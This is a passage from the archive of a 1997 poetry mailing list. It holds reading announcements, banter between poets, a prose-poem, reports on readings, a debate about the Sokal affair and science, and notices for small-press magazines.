> *Your comments started me thinking of the therapeutic parallels (for better or*
> *the reasons why I've chosen poetry rather than linear, denotative prose. I've found that giving a name to an experience ("Oh, that was betrayal/anger/joy/desire/whatever") tends to nail down what had been a nebulous set of impressions, solidify that which had been fluid. From then on, when I think back to the original events, all I get is a memory of my memories, or the narrative that I had constructed out of them. Subsequent experience cannot help to reform the experiences, since they have already been petrified by denotation.*
>
> *Some of my friends have accused me, when I use deliberate ambiguity in a poem, of toying with words for their own sake, but it is my way of remaining honest. Not only does it make the poem (I hope) a more open experience for the reader, but also for myself. When readers can find something in my poems that I hadn't noticed myself, I am delighted and intrigued, not only because it means that the field of meanings is expanding beyond my intentions, but also because it can send me back to a re-consideration of my self and the events in my life. Sometimes this has been an enlightening experience; sometimes chastening.*
>
> *Tom Beard.*

I suspect you are onto something here as this describes resolution in therapy as opposed to perpetuation of a problem. In therapy also it seems to be related to the _way_ the experience is processed. I'm not sure that denotation and ambiguity are adequate to descrobe it, but they are leads along the way.

thanks. tom bell

↑ Index

368. **dbkk**
Luisa Futoransky, Sarah Menefee--ASAP at SPT
Fri 17 Oct 1997

Small Press Traffic presents

Luisa Futoransky
Sarah Menefee

Friday, October 17, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Luisa Futoransky, currently Regents Lecturer at UC Berkeley, lives now in Paris, where she works for the Pompidou Center. Futoransky was born in Buenos Aires in 1939. As a young woman, she left the study of law to study instead with Borges, and became an active member of the literary circle organized around the Argentine magazine _Sur_. With the dictatorship in 1976, she left her native land for the National Music Academy of Japan, and then to Radio Beijing. Then on to Paris, Berkeley, and eventually, of course, Small Press Traffic. Her work is vivid, humorous, informed by her thinking on exile, translation, and the visual arts and music. This will be a bilingual (Spanish and English) reading to launch Futoransky¹s new book of selected poems, _The Duration of the Voyage_ (Junction Press).

I¹ve been a fan of Sarah Menefee¹s work since she was a student at New College, back in the ancient Duncan days. Since then she has taken her place as one of the _living treasures of San Francisco_, and now Italy, where her poems have been translated, published and disseminated, like petals in the Tuscan wind. ³all the organs that supported it have liquefied/ to know it is so without knowing what it is/ has entered the pupa with its golden nails.² Her careful, moving work dissolves the barrier between lyric gesture and political action. Sarah Menefee, poet and homeless activist, is the author of _I¹m Not Thousandfurs_ (Curbstone Press), _The Blood About the Heart_ (Curbstone Press), and the new _The Reamed Heart (Deliriodendron Press).

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369. George Bowering
Re: tundra
Fri 17 Oct 1997

> *as a former house pet of george bowering, i appreciate your fine sense of discretion. what bowering is omitting, of course, are his own predilections for the more untamed species that dwell on the great tundras and wildernesses. hence his deep attraction to canada.*

Yeah? Well I know a US poet who grew up in Chicago, told me years ago he had a try-out with the Chicago Cubs. Didnt make the team, eh? I asked. He said he made half the infield.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

370. George Bowering
Re: Poetry City
Fri 17 Oct 1997

I'll be reading Saturday night in Fort Saint John. If you're in the area, drop in. On Sunday I am going to get a helicopter ride. I will express myself on Sunday.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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371. david bromige
the great tundras of canada
Fri 17 Oct 1997

When I was staying with the Bowerings (it was that, or 265 hours of community service), they served up some great tundras! We'd have tundra with fried egg in the mornings (c. noon-two), tundra casserole for lunch (c.6-7), and steak-&-tundra pie for dinner (c. midnite). We'd wash the pie down with huge mugs of Tundra Ale, after which the master of the house would mount several more wildlife heads in the draughty hallways of Bowering Manor, while I read his book of geography & cooking, _The Gift of Tundra_ ,until I fell asleep in the arms of Morpheus, George's highly challenged cousin & bodyguard &, despite Bowering's slurs, my sole sexual indulgence during my time there. Then the whole thing would start all over again next morning, with George demanding that I return his nail-clipper. It was during this time I wrote _my_ book, _Habits & How to Get Used to Them_ . There are 265 references to "Tundra" in the index. D(e)b(bie).

↑ Index

372. Miekal And
Break out the snack tray
Fri 17 Oct 1997

Miekal delurking for a moment:

I'll be presenting a workshop on hypermedia/computer poetry at the University of Minnesota next week (courtesy of the lovely Maria Damon) & it just so happens that I'll have an internet link & a computer projector. So if there are any sites out there that exemplify the unpredictable spirit of experimentation & cyberfunkiness, drop me a url backchannel & I'll check them out for possible inclusion in my scene cruise at next week's workshop.

Miekal

who wonders if david b is becoming alan s

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

373. david bromige
more eating, sleeping, & timing
Fri 17 Oct 1997

No 92, "Vulnerable Bundles"

I no

I can't write this poem. Too disturbed.

If you think "Sane", the behavior is very bizarre. If you think "Insane", this person is
 maintaining.

I can't evoke many-colored lotuses & elephant-men when I'm being worried like a rat
 by a whippet.I don't like ANY of this stuff getting into the work. It comes in, I let it enter,
 but I don 't have to like it that it does or I do., To me the poem is refuge from the personal
 life. This day is like the floodplain between here and the next, bigger, thoroughly ruinous

town.....littered with puddles & rural blight, the chevvies on cinder blocks, the tire-piles,
dirty gray light, yellow in it, the houses with bits falling off them & the people to a dis-
ordered mind likewise. The era is like that. The whole fucken future could be that way.
It's that kind of a day.

On the refrigerator I long since pinned a news item concerning the burying of Carrie Derryberry. Her husband's name was Gerry. What sort of people could they have been, one wonders, growing up -- him, leastwise -- with names that insistently try to eradicate diagreement. I've had it with disagreement. Fuck disagreement.

Jesus, it's a relief not to be writing a poem.! It's a high but it knocks the stuff-
ing outa ya.

That woman who put her hand on my back at the soup-cafe in Prince George -- she liked me
and me likewise her. But that's easy to remember unspoiled since we exchanged no further
words or gestures. What is a paragraph?

Like a shy model in the Life class, most occasions tremble at the glimpse they have of them
selves as inadequate, standing there naked with naked feet & pubic hair & nipples lifting & all.
And shoulderknobs & clavicles & ribcage & knees -- Magnificent! I severely dislike this prose.
Why go on, or do anything? It's time for Letterman. I watch & pretend he's Bob Grenier hosting
a late nite talk show that uses only poets & that his first guest is going to be Lyn Hejinian -- on
comes Lyn in short, tight skirt, tan cleavage, & shoes to die for, says the sitter. Bob hugs her, kisses her hand. She has a great smile! The bandleader is Paul -- Paul deBarros. Most engaging on camera, intense & handsome, those dark blue eyes, big Portuguese smile, forearms like bowling pins. Barry Gifford's
next. He & Bob joke about having the same initials, pretending to lower the level to Letterman.
Larry Eigner wheels into camera range & he & Bob joke about having ana-grams
for names, "for
eight years on the same mailbox" says Bob. Then it's my turn. I recall the

twilight when I drove up & parked & got out & saw what I thought was likely Larry, working out on the porch rail. How as I got
close to him I said "Larry I thought that was you" & how he responded "Oh yeah so did I'" Pan to
audience: they love it. Then again, they all look like me, Terence Dactyl,
or my doppelganger,
Professor Quincy Quatrain. I recline, pray for sleep & nonetheless
eventually sleep comes.

In my sleep, I am indefatigible. I dream nonstop for six hours. Then I wake up & it's prose. Bowls of it for breakfast, prose sandwich with peanut butter for lunch, eaten in the car en route to some errand I can't recall, so it certainly will be of no interest to the future. But on the way home I scribble something that looks like "I was only lying for your convenience/ You flushed my tongue down the toilet/ The first time I saw you I thought 'one of us is at a loss for words'".

Bumper-sticker : VISUALIZE USING YOUR TURN SIGNALS. I've always been something of a social activisit. That's why I write in pedestrian prose. Few people know that 'accessible' is my middle name. Now you are one of those few. It might be on the test! Spell it? -Can't even pronounce it! It's in the Platonic Dictionary. One free with any five zines of your choice. I used to do this from door to door. Then one day, one of them opened. It was the Door to Poetry. And this side of me went to sleep.

↑ Index

374. Harold Rhenisch

Problems with western tradition

Fri 17 Oct 1997

Not knowing anything about unjamming hydraulic quick couplers, Descartes could write, ³I think, therefore I am.² He was a clever guy, but he wasn¹t a twentieth century man: he was in the middle point of our lives on the earth. If he lived today, he¹d have to write: ³I am, therefore I am.², or ³I am, therefore I am bewildered.², and then, in keeping with the spirit of his inspiration, ³I am bewildered, therefore am I.², and after crossing that out, ³Am I bewildered? I am. Therefore....² Scratch. Scratch. ³Am I bewildered? I am.² Scratch. ³I am bewildered. Am I?² Damn, go get a drink.

↑ Index

375. **Bob Grumman**
A Comprepoetica Progress Report
Fri 17 Oct 1997

Comprepoetica has now gotten close to a hundred visits since I announced it here last Sunday. I continue working on it and just now got the biographical section viewable, if not very spiffy. Seven entries so far.

IMPORTANT NOTE FOR THOSE WHO HAVE FILLED OUT SURVEY FORMS: Please go to the subsite at Comprepoetica containing biographical entries and check the entry on yourself for errors, omissions and egregious stylistic blunders. Let me know of them and I'll fix them. I've basically just thrown the data out there but hope to improve. Check your poems, too-- they are linked to the biographical entries.

You can find the biographical entries by going to the Table of Contents, newly operational.

Comprepoetica is still located at http:/www/geocities.com/SoHo/Cafe/1492

Not enough votes in for favorite poets and poems to bother counting yet.

WARNING TO THOSE WHO HAVEN'T FILL OUT FORMS YET: I plan to start letting Bromige and Bowering fill them out for you soon!

↑ Index

376. **david bromige**
how do i leave the List?
Fri 17 Oct 1997

I keep this info on my InBox and my InBox was recently destroyed & rebuilt. Anyone? Thanks, DB

↑ Index

377. **mark weiss**
Re: how do i leave the List?
Fri 17 Oct 1997

You are not allowed to leave the list until you answer three questions:

1.

At 01:27 PM 10/17/97 -0700, you wrote:
>I keep this info on my InBox and my InBox was recently destroyed & rebuilt.
>Anyone? Thanks, DB
>
>

↑ Index

378. Burt Kimmelman
Talisman Reading/Party
Fri 17 Oct 1997

Ed Foster has asked me to pass on to you the following invitation.

And I quote:

Weird, wild, wonderful, and ABSOLUTELY TERRIFIC!!!

Come and hear:

Charles Borkhius
Michael Heller
Lisa Jarnot
Sean Killian
Eileen Myles
Leonard Schwartz
Chris Stroffolino

Zinc Bar
90 West Houston Street
New York City
6:15-8:15 PM
Sunday, October 26th

Celebrating Talisman #17 (the Eileen Myles issue), now at your newsstand, and the publication soon of _An Anthology of New (American) Poets_.

A Benefit reading for Talisman. All proceeds go to keep us out of debtor's prison. No joke. Please come.

↑ Index

379. david bromige
Th-th-th-anks f-f-f-folks!
Fri 17 Oct 1997

Thanbks for such prompt responses...please noone else trouble yourself, now I know.

Off for 3 weeks, & I'm going to miss you. Retirement sounds great, but I was wanting the debates with students & colleagues....& peers, since so many poets I hung out with, left the Bay Area in recent years. This List is great & a big thanks to Charles et co. And all of you, really, scold me or stroke me, the engagement is such a boon, I love listening to your interventions & (dis)

agreements. Never did I expect it to be this much fun, or I'd have signed on years earlier.

But as for you, George Bowering, you'd better say a few things behind my back to keep my memory alive.

David

↑ Index

380. Safdie Joseph
Re: Dorn/Raworth Reading
Fri 17 Oct 1997

Pat -- just saw Tom last night in Seattle, fresh from DU and your review. Was it the same gig with the music box and the breathless delivery? Fastest mouth in the west! But great, nonetheless. I realized I hadn't seen him in about ten years, so it was good to catch up. Glad to hear that Peter's still laughing through readings -- some things never change! Give him my regards if you ever hang out with him.

Glad to hear also that Ed impressed you as strong, though gaunt. Actual news I'm afraid not so good. Can send you copies of the works you mentioned if you want.

Always good to hear your perceptions -- though I think Jordan Davis has taken over as the poetry reviewer par excellence! At least this week . . .

Best,

Joe

> *----------*
> *From: Pritchett,Pat*
> *@Silverplume[SMTP:[redacted]]*
> *Sent: Thursday, October 16, 1997 3:24 AM*
> *To: [redacted]*
> *Subject: Re: Dorn/Raworth Reading*
>
> *Several of us Boulderites overcame our customary aversion for Denver and*
> *environs and made the trip down to DU last night to hear Ed Dorn and Tom*
> *Raworth read. The Dupont Room of the august Mary Reed Bldg is tricked out,*
> *as Ed put it, in "Gothic fakery." It's also painted a horrible puke green*
> *color, but enough about that.*
>
> *Ed, who's been "battling" pancreatic cancer as many of you know, was*

> *looking, I thought, pretty damned good - quite gaunt - he'd evidently lost*
> *some weight - but he was clear, in good humor, and read with real panache*
> *excerpts from two long poems: "Lost Dog Variorum," and another about "the*
> *Cheyenne axis," (title escapes me - I didn't make notes), and several shorter pieces.*
>
> *A ruddy-faced Tom Raworth followed Ed. Tom read a few poems from his new*
> *Roof edition of Selected Poems, _Clean & Well-Lit_, and from a long,*
> *unfinished work titled "Meadow," which was something of a tour de force,*
> *even for Tom. My only complaint was that he didn't read long enough.*
>
> *Present in the audience: Cole Swensen, who emceed the evening, Jack Collom,*
> *Rachel Levitsky, Peter Michelson (who seemed to laugh throughout most of*
> *Ed's reading), Lindsay Hill, Michael Friedman, Anne Waldman, Tom Peters,*
> *Bin Ramke, and Mark Irwin, whom I succeeded in ignoring/avoiding all night*
> *and it was a very small room, too.*
>
> *Patrick Pritchett*

↑ Index

381. **Jordan Davis**

R Smith / E Torris @ Poetry Project Pt 2

Fri 17 Oct 1997

Edwin Torres read second. By comparison with his reading last year at the Ear Inn, the work he read Wednesday night had less to do with the Khlebnikov in him than with Tristram Shandy or the Himalayas. Mentioning that he had been described in a magazine article as "resolutely anti-drug", he corrected the magazine and launched into a poem entitled "Auntie Drug."

It is a truism that performers coming out of the Nuyorican scene perform with their voices -- that they're 'spoken word artists.' OK, it's not a truism, it's a categorization. Torres has no truck with the category, though. It would not be out of the range of reference of a large circulation publication to characterize his performance as borrowing from sprechstimme and vaudeville (or the Muppet Show, anyway).

Torres' next publication is a cd from Kill Rock Stars, the alternative label that carries the work of Bikini Kill and Sleater-Kinney. Torres will be reading at Poetry City on December 18.

Wednesday's reading, the second in Lisa Jarnot and Eleni Sikelianos's series at the Church, was attended by the following writers: Barrett Watten, Jackson Mac Low, Bruce Andrews, Sally Silvers, Fiona Templeton, Rob Fitterman, Tim Davis, Issa Clubb, Bennett Simpson, Merry Fortune, Liz Castagna, David Cameron, Anselm Berrigan, Kim Rosenfield, Larry Fagin, Dug Rothschild, Lewis Warsh, Leonard Schwartz, Kevin Davies, Deirdre Kovac, Marcella Durand, Greg Masters, Elinor Nauen, Ed Friedman, and others.

Jordan Davis

↑ Index

382. Aviva Vogel
Re: Talisman Reading/Party
Fri 17 Oct 1997

Speaking of Talisman, I live near Dartmouth College, and a 3-story, 15-room bookstore...but it doesn't carry Talisman!!! I don't know where to find the journal, and have no address to subscribe. Can someone steer me to this great journal? Thanks, Aviva

↑ Index

383. henry gould
gehry
Fri 17 Oct 1997

Frank Gehry's museum in Bilboa opens today, I think.

"I guess i was interested in the unfinished - or the quality that you find in paintings by Jackson Pollock, for instance, of de Kooning, or Cezanne, that look like the paint was just applied. The very finished, polished, every-detai l-perfect kind of architecture seemed to me not to have this quality. I wanted to try that out in a building. The obvious way to go about it was the unfinished wall studs. We all like the buildings in construction better than we do finished - I think most of us agree on that. The structure is alway s so much more poetic than the finished thing." (1980)

there's that word again.

"Gehry designs with a sharp, double-edged scalpel that penetrates and splits op en, slices and separates, probes and carves its way to the heart of spatial phenomena..." - Germano Celant

Blind mouths! That scarce themselves know how to hold
A sheep-hook, or have learned aught else the least
That to the faithful herdsman's art belongs!
What recks it them? What need they? They are sped;
And when they list, their lean and flashy songs
Grate on their scrannel pipes of wretched straw;
The hungry sheep look up, and are not fed,
But swoln with wind and the rank mist they draw,
Rot inwardly, and foul contagion spread;
Besides what the grim wolf with privy paw
Daily devours apace, and nothing said;
But that two-handed engine at the door
Stands ready to smite once, and smite no more.
- Milton, _Lycidas_

the most prophetic work yet written in the U.S. of A. is not Leaves of Grass, Moby Dick, poems of E.D., Emerson, Thoreau, Pound, Stein, Zukofsky, O'Hara, Eliot, any of the writers attending readings, etc...

It's _The Wizard of Oz_.- Henry Gould

↑ Index

384. George Bowering

Re: the great toe

Sat 18 Oct 1997

Well, a lot of what Bromide said is true, at least in his manner. But I did not ask for my clippers back. After watching him use them on his famous toes, I never wanted to touch those clippers again.

Word has it that he still has them, and that among other things he does with them, he revises poems--his own and others. A lot of Creeley's poems, for example, were once much longer, and expressed lots of feelings and so on. Bromide is responsible, it is said, for the clipped nature of a typical Creeley poem.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

385. Maria Damon
Re: Break out the snack tray
Sat 18 Oct 1997

miekal and other twin citians, tomorrow night a party at mark nowak's and carolyn erler's house. call [redacted] for details. m, hope to see you there and to get you together w/ cris cheek et al. hi everyone, the conference is fun...more later...md

At 10:15 AM +0100 10/17/97, Miekal And wrote:
>Miekal delurking for a moment:
>
>I'll be presenting a workshop on hypermedia/computer poetry at the
>University of Minnesota next week (courtesy of the lovely Maria Damon) &
>it just so happens that I'll have an internet link & a computer
>projector. So if there are any sites out there that exemplify the
>unpredictable spirit of experimentation & cyberfunkiness, drop me a url
>backchannel & I'll check them out for possible inclusion in my scene
>cruise at next week's workshop.
>
>Miekal
>
>who wonders if david b is becoming alan s
>
>
>--
>@#
>Dreamtime Village website: http://net22.com/dreamtime
>QAZINGULAZA: And/Was/Wakest website:
>http://net22.com/qazingulaza
>e-mail for DT & And/Was: [redacted]

↑ Index

386. Loss Pequen~o Glazier
New at the EPC
Sat 18 Oct 1997

----- New at the EPC ----------
Newly up is CRAYON the new Jackson Mac Low fetschrift page, available from the EPC main page:
http://writing.upenn.edu/epc

↑ Index

387. Miekal And
Re: Break out the snack tray
Sat 18 Oct 1997

Miekal And wrote:
>
> Miekal delurking for a moment:
>
> I'll be presenting a workshop on hypermedia/computer poetry at the
> University of Minnesota next week (courtesy of the lovely Maria Damon) &
> it just so happens that I'll have an internet link & a computer
> projector. So if there are any sites out there that exemplify the
> unpredictable spirit of experimentation & cyberfunkiness, drop me a url
> backchannel & I'll check them out for possible inclusion in my scene
> cruise at next week's workshop.
>
> Miekal

John Cayley, I lost the url to your site, can you or somabody out there backchannel me with it. thanks to those that have responded, to my query....

mr and

> --
> *@#*
> *Dreamtime Village website: http://net22.com/dreamtime*
> *QAZINGULAZA: And/Was/Wakest website:*
> *http://net22.com/qazingulaza*
> *e-mail for DT & And/Was:* [redacted]

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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388. Dan or Orion Dlugonski
(no subject)
Sat 18 Oct 1997

For anyone in the Portland (OR) area--
Here’s an invitation to a night of the finest, energizing poetry in performance.

Thursday, October 23, at the Mark Woolley Gallery (120 NW 9th, 2nd floor)
26 books presents 26 WOMEN.

Leanne Grabel
Flora Durham
margareta waterman
Laura Winter
Leuth Bartells
Rob Blakeslee and
dan raphael.

↑ Index

389. Maria Damon

News from xcp

Sun 19 Oct 1997

---

brathwaite last night was amazing, more to follow...

↑ Index

390. Loss Pequen~o Glazier

Talisman Reading/Party - Mag/Press Addresses

Sun 19 Oct 1997

For those of you not familiar with it, the Electronic Poetry Center (EPC)
has numerous press and magazine listings under "Mags" and "Presses" at:
http://writing.upenn.edu/epc
This area is of course under continual development and expansion. If your
press or magazine is not listed, please send in one of the forms available
in the Mags or Presses area. L.

At 10:18 PM 10/17/97 -0400, you wrote:
>Speaking of Talisman, I live near Dartmouth College, and a 3-story, 15-room
>bookstore...but it doesn't carry Talisman!!! I don't know where to find the
>journal, and have no address to subscribe. Can someone steer me to this
>great journal? Thanks, Aviva
>
>

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391. robert drake
Re: Break out the snack tray
Sun 19 Oct 1997

> *Miekal And wrote:*
>
> *I'll be presenting a workshop on hypermedia/computer poetry at the University of Minnesota next week (courtesy of the lovely Maria Damon) & it just so happens that I'll have an internet link & a computer projector. So if there are any sites out there that exemplify the unpredictable spirit of experimentation & cyberfunkiness, drop me a url backchannel & I'll check them out for possible inclusion in my scene cruise at next week's workshop.*

m--

just to make sure:

http://www.ims.csuohio.edu/VA/VAintro.html -->CybpherAnthology of Discontiguous Literatures

http://www.ims.csuohio.edu/gallery.html -->Machine Made of Words online gallery

http://www.ims.csuohio.edu/wreyeting/index.html -->WrEyeTings Scratchpad intermedia laboratory

& more in the cooker...

asever
luigi

↑ Index

392. Douglas Barbour
Re: more eating, sleeping, & timing
Sun 19 Oct 1997

Too bad Bromige is gone, as I just wanted to say that this one did the job. Oh, and did i laugh too...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]

H: [redacted]
~~~
~~~

cut my teeth on it). You do indeed have hundreds of scientific cultures AND all involved with "fungible-universal changeability." So 'scuse me if I lump them together. I find that American scientists and mathematicians often have the attitude that Hegel implies of European mathematicians in his quote. Maybe World War I kicked some of those delusions out of them. And maybe the Manhattan project pumped up the American scientific community. Or maybe its unfair to put such weight on single (though complex) historical events when complexity indeed "holds so much information." But I do find American scientists bewildered and ignorant about the fundamental and long standing nature of this argument. They inevtiably see it as a challenge to their authority. This is what Sokal and Gross and Levitt are all about. It is why Weinberg can embarrass himself by dismissing Heisenberg on philosophical points that Weinberg clearly has no knowledge of. I don't think its too much to ask that the scientific community accord these arguments the consideration they deserve, especially with the advent of so many world summits on global ecology that will rely on "quantitative methodolgies" for their solutions because all other alternatives have been discredited and dismantled or will be unless they serve the interests of international capital.---Carlo Parcelli

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394. **R. Gancie**
Sokalled: Typo or Parapraxis-you decide
Sun 19 Oct 1997

Judy. Second instance of "universal interchangeability" should read like that and not 'universal changeability.'---C.P.

↑ Index

395. **Tosh**
:ReMap
Sun 19 Oct 1997

I have just received this post, and it may be of interest to the people on this list:

REMAP
RE: subscriptions

RE: "on emore barricade"

REMAP needs to continue to ask fopr subscriptions
in the hope that we will continue to be able to
publish.

10$ per two editions

#6 The Politic
Spencer Selby
Norma Cole
Ray Di Palma
Laura Morriarity
Arron Shurin
Noah De Lissovoy
Martin Nakell

---

printed completed without politically based funds
as such

Edited by Carolyn Kemp
& Todd Baron

since 1990

Make checks payable to
Todd Baron

2860 exposition blvd
Apt A
Santa Monica Ca 90404

---

thank-you

Tosh Berman
TamTam Books

↑ Index

396. **Susan Wheeler**
Re: POETICS Digest - 15 Oct 1997 to 16 Oct 1997
Sun 19 Oct 1997

>Date: Thu, 16 Oct 1997 13:51:04 EDT
>From: Ted Berrigan <[redacted]>
>Subject: things to do in cranston
>

>Susan Grant edits THE NEWPORT REVIEW. Peter Johnson edits PROSE POEM;
>his new book PRETTY HAPPY! will be available at the reading, with other
>stuff.
>
Peter Johnson's poem "Pretty Happy!" is an all-time favorite here. Enjoy, Cranstonites!
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

397. DIGEST Anselm Hollo
Re: AHOE by AH
Sun 19 Oct 1997

Announcing the publication
(to whom it may be of interest)
of:

AHOE / AND HOW ON EARTH. A book of poems by Anselm Hollo

from Smokeproof Press (Brad O'Sullivan), Erie, Colorado

with a frontispiece drawing by Jane Dalrymple-Hollo

ISBN 0-9658877-0-7

60 pp / $8.95

"Hollo's poetry, with its huge field of reference, is one possible model for the future. It doesn't list what it knows and consists of: the references are built in. That is, it isn't itself a computerized conglomerate, doesn't spout facts as possession, but it's equal to all that. It could probably handle the future." -- Alice Notley, "Hollo's Corvus," Sulfur 40.

Available from:

SPD
1341 Seventh Street
Berkeley CA 94710-1403
[redacted]

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398. **mark weiss**
(no subject)
Sun 19 Oct 1997

I hate to weigh in where I'm clearly not knowledgeable, and I know I'm asking to be the focus of a turd-fight (remember that thread?), but here, as they say, goes nothing. I read the Weinberg piece when it came out. Whether or not there are misstatements/misunderstandings in it, his main point seemed to be that you're far more likely to be hit by an apple if you sleep under the tree than if you fly over it (although it's fun to imagine how the latter could happen), regardless of what belief systems you carry with you, and that some theorists in the humanities and social sciences seemed to him to be saying otherwise.

Why is this an issue for us? It's an issue for us when some of my best students, senior writing majors at an elite university, tell me that they have been taught to deny the constancy of any fact, any reality. Perhaps they have misunderstood their teachers for four years, but that could indicate that there's something wrong with the teaching. We don't need naive relativists any more than we need naive positivists.

It may also be an issue for some of us that Sokal managed to get his piece published in the heart of what he defined as the enemy's camp merely by slinging some jargon.

> *Judy. I thought "pottery, weaving etc." distinction was implied in my original message. "In history of mankind etc." was simply to serve as general distinction between what we define and impose as technology on other times, other cultures and other languages and the way that we claim that we actually practice science and technology now which I think Adorno and Horkheimer, among hundreds, capture in their Dialectic of Enlightenment. Illuminating some of the the differences, they point out that now, "Representation is exchanged for the fungible---universal interchangeability ." This ain't no occult and hermetic insight. I wrote a poem in which I quoted hundreds of instances in which the conditions fostered by systems of mathematization and quantification beginning with the conflation of Late Renaissance and Enlightenment science and the Age of Discovery are discussed for their historical uniqueness yet universal imperatives as well as their inherent limitations. The quotes come from physicists, mathematicians, philosophers, poets, economists, biologists, book store owners, the homeless, the checker at the Safeway, auto mechanics, retire CIA analysts etc. etc. In other words it is fundamental to our dialectic and people come at it from all sides of the argument. Hegel, among many, many others, often puts his two cents (sense) in: "The evidence peculiar to this defective way of knowing-an evidence on the strength of which mathematics plumes itself and proudly struts before philosophy-rests solely on the poverty of its purpose and the defectiveness of its material, and is on that account of a kind that*

> *philosophy must scorn to have anything to do with. Its purpose or principle is quantity. This is precisely the relationship that is non-essential, alien to the character of the notion. The process of knowledge goes on, therefore, on the surface, does not effect the concrete fact itself, does not touch its inner nature or notion, and hence is not a conceptual way of comprehending."(Baillie's Trans. in some ways not good but I cut my teeth on it).*
> *You do indeed have hundreds of scientific cultures AND all involved with "fungible-universal changeability." So 'scuse me if I lump them together. I find that American scientists and mathematicians often have the attitude that Hegel implies of European mathematicians in his quote. Maybe World War I kicked some of those delusions out of them. And maybe the Manhattan project pumped up the American scientific community. Or maybe its unfair to put such weight on single (though complex) historical events when complexity indeed "holds so much information." But I do find American scientists bewildered and ignorant about the fundamental and long standing nature of this argument. They inevtiably see it as a challenge to their authority. This is what Sokal and Gross and Levitt are all about. It is why Weinberg can embarrass himself by dismissing Heisenberg on philosophical points that Weinberg clearly has no knowledge of. I don't think its too much to ask that the scientific community accord these arguments the consideration they deserve, especially with the advent of so many world summits on global ecology that will rely on "quantitative methodolgies" for their solutions because all other alternatives have been discredited and dismantled or will be unless they serve the interests of international capital.---Carlo Parcelli*

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399. Rachel Levitsky
Flow Chart
Sun 19 Oct 1997

Hey there--

Thanks to the Toms for the disc about where writing comes from.

Query:

Any suggestions for critical essay or creative response to Ashbery's _Flow Chart_?

Backchannel if you know of anything. Please, thank you.
Rachel

↑ Index

400. Alan chown Sondheim

--+-

Sun 19 Oct 1997

--+-

No. 110 -- The Vanishing Glass of Whiskey

Startling! Astounding! Is what our customers say when they see us vanish a whiskey glass filled with liquid. Yes! that is what happens. Imagine the fun at a gathering. Your friend is about to take a drink. You tap her on the shoulder and ask her if she would like to see a trick. She would. That's fine. All you do is take the glass of liquid and place it on your left hand, place right hand over glass. PRESS . . . and it vanishes. The apparatus is small and convenient to carry around. $1.50

No. 213 -- Squirting Jennifer

A million dollars worth of fun for a buck! The face on this Jennifer just ain't polite at all. When the "victim" looks at it closely the face squirts a good healthy stream of water right smack in the spectator's eye. Easily filled and has a large capacity. Price $1.50

No. 1529 -- The Julu without a Middle

A startling illusion of extraordinary proportions. This has been used with great success in many illusion shows. A feature presentation of the Travis show.

A lovely girl assistant is fastened securely to the inside of a cabinet shaped for a human figure. There are individual doors for the head, legs, and body so that any part or all of the body can be shown.

Enormous metal plates like guillotine blades are pushed entirely through the cabinet from side to side. One at the neck position, another at the waist. The doors are opened and although the legs and head remain the same, upon opening the center doors both front and rear, the entire center of the assistant's body has vanished! Magician can be seen through the cabinet from the rear! There are no mirrors used! The doors are closed and reopened. The assistant upon being released steps out unharmed! This is terrific. No stage traps, glass or dummy legs used. Do it even in the living room.

Workshop plans $5.00

No. 1531 -- The Elastic Stretching Jennifer Illusion

The very latest in illusions. An idea imported from Europe where it has been creating a sensation whatever shown.

The audience sees a beautifully decorated screen resting on a very thin platform.

The front doors are opened to allow the audience to see the entire interior.

The front section is shown to contain four sections in which an assistant can be locked. These sections can be moved at oblique and vertical angles by pull cords from the sides.

Magicians assistant enters the cabinet and her head, hands, and feet are locked in the movable stock sections where they remain visible at all times. Slowly the magician draws the sections apart by means of the pull cords, causing the girl's head, hands and feet to assume absolutely im- possible positions. The hands and feet are drawn five or six FEET away from the body. A mind baffling effect that leaves the audience with no explanation. A truly wonderful illusion.

Workshop Plans $5.00

No. 1540 -- The Artist's Dream Model

Magician fastens a sheet of paper to a large picture frame which is then placed on an easel at center stage. He quickly paints a sketch of a girl and then breaking through the paper at various points he produces a variety of articles such as silks, pigeons, rabbits or even a large duck. Then the entire piece of paper is ripped asunder and a beautiful girl steps out of the frame, an artist's (magician's) dream come to life. Unusual and wonderfully different this illusion will find instant favor with you and your audiences.

Workshop Plans $2.00

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401. **Thomas Bell**

hear we go again

Sun 19 Oct 1997

Have been reading Lake's The Shape of Poetry
(http://home.earthlink.net/~arthur505/lake1.html)
and I can't resist raising the old form vs. free issue,
mischievious me that I am. i think his argument misses
the point but I could be wrong.
tom bell

↑ Index

402. **henry gould**
(no subject)
Mon 20 Oct 1997

Responding also to Carlo Parcelli's remarks: I thought the Sokal flap- debate was not about science's ability or inability to represent truth or reality. No one will argue with you if you say that the tools & procedures of science are imperfect & subject to change.

I thought the argument was not about the philosophy of science, but about underlying philosophical principles which allow science to take place or not.

Sokal et al. were basically saying that science requires a fundamentally "realist" approach, i.e., there is some kind of apprehendible reality out there beyond our formulations about it. He accused his opponents of imposing their own nominalist or relativist concepts on a thereby distorted characterization of science & the history of science.

Carlo P. seems to be taking a different tack - simply defending the relativist approach & accusing (American) scientists of blind positivism.

What interested me in the previous incarnation of this mud-slanging on the list were the implications of a "realist" grounding, as opposed to a postmodern/deconstructive approach, to current poetry experiments. The theories of the pragmatists, American scientist-philosophers like Peirce, seem far more complex on the issue of truth and reality than the straw-scientists Carlo is attacking. And what ARE the implications for writing, if, as Mark Weiss, says, lit students are being trained to regard words as disconnected from any testable truth? If they exist in their own magic realm of self-constructed or zeitgeist-formed or capital-generated chaos flow? Poetry must reside someplace in the middle... - Henry Gould

↑ Index

403. **Douglas Barbour**
Re: hear we go again
Mon 20 Oct 1997

At one point in his essay, Lake argues thus:

